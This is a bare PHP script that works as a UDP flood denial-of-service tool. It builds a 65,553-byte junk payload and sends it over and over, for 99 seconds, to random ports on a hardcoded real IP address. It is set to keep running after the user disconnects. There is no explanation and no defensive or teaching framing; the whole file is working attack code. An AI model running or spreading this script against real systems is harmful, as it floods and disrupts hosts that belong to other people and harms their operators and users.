#!/usr/local/bin/php
<?php
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = '99';
$time = time();
$max_time = $time+$exec_time;
$host = '185.150.236.157';
for($i=0;$i<65553;$i++){
        $out .= 'X';
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        $rand = rand(1,65553);
        $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
?>